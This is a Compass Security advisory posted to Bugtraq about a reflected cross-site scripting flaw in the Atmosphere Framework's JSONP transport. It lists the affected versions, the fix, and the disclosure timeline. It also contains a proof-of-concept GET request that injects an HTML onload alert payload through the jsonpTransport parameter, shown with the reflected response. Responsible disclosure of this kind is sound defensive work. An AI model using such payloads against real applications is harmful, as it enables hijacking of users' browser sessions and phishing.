CSNC-2018-023 - Atmosphere Framework - Reflected Cross-Site Scripting (XSS)
Advisories <[email protected]> Wed, 15 Aug 2018 06:53:44 +0000
| Newsgroups | gmane.comp.security.bugtraq,gmane.comp.security.news.securitytracker |
|---|---|
| Message-ID | <[email protected]> |
############################################################# # # COMPASS SECURITY ADVISORY # https://www.compass-security.com/research/advisories/ # ############################################################# # # Product: Atmosphere [1] # Vendor: Async-IO.org # CSNC ID: CSNC-2018-023 # Subject: Reflected Cross-Site Scripting (XSS) # Risk: High # Effect: Remotely exploitable # Author: Lukasz D. ([email protected]) # Date: 13.08.2018 # ############################################################# Introduction: ------------- The Atmosphere Framework is the most popular asynchronous application development framework for enterprise Java. The Atmosphere Framework provide= s the enterprise features required to build massive scalable and real time asynchronous applications using transports like WebSocket, Server Sent Even= ts and traditional Ajax Techniques. [2] Web applications using the Atmosphere Framework were found to be vulnerable= to a common security flaw that allows an attacker to execute malicious code in t= he browser of users that followed a manipulated link to access the application= . Exploiting the vulnerability allows the attacker, for instance, to redirect= the user to a phishing page or interact with the application on behalf of the u= ser. Affected: --------- The following Atmosphere versions are vulnerable: - 2.4.0 - 2.4.28 - 2.3.0 - 2.3.9 - 2.2.0 - 2.2.12 - 2.1.0 - 2.1.13 - 2.0.0 - 2.0.11 - 1.0.0 - 1.0.20 Technical Description: ---------------------- The JSONP transport method supported by the Atmosphere Framework is vulnera= ble to a reflected Cross-Site Scripting (XSS) attack. The JSONP callback parame= ter that will be put into the server's response can contain HTML code. As the response does not specify the content type, it may be treated as an HTML pa= ge by browsers. For example, Firefox 52 ESR will execute JavaScript payload refle= cted in the response in the following proof of concept: Request: GET /chat?X-Atmosphere-Transport=3Djsonp& jsonpTransport=3D%3Chtml%3E%3Cbody%20onload=3Dalert(`XSS`)%3E& X-Atmosphere-tracking-id=3D1& X-Atmosphere-Framework=3D1& X-atmo-protocol=3Dtrue HTTP/1.1 Host: [CUT] User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox= /52.0 Accept: text/html,application/xhtml+xml,application/xml;q=3D0.9,*/*;q=3D0.8 Accept-Language: en-US,en;q=3D0.5 Accept-Encoding: gzip, deflate Connection: close Response: HTTP/1.1 200 OK Server: Apache-Coyote/1.1 X-Atmosphere-tracking-id: 1 Expires: -1 Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Date: Mon, 16 Jul 2018 13:37:00 GMT Connection: close Content-Length: 52 <html><body onload=3Dalert(`XSS`)>({"message" : "X"}); Workaround / Fix: ----------------- It needs to be ensured that all JSONP responses are delivered with the corr= ect HTTP header: "Content-Type: application/javascript; charset=3Dutf-8". Moreo= ver, JSONP callback function should not contain any non-alphanumeric characters. Timeline: --------- 2018-07-16: Vulnerability discovered 2018-07-18: Initial vendor notification 2018-07-18: Initial vendor response 2018-07-20: Patched version released 2018-08-13: Public disclosure References: ----------- [1]: https://github.com/Atmosphere [2]: https://async-io.org/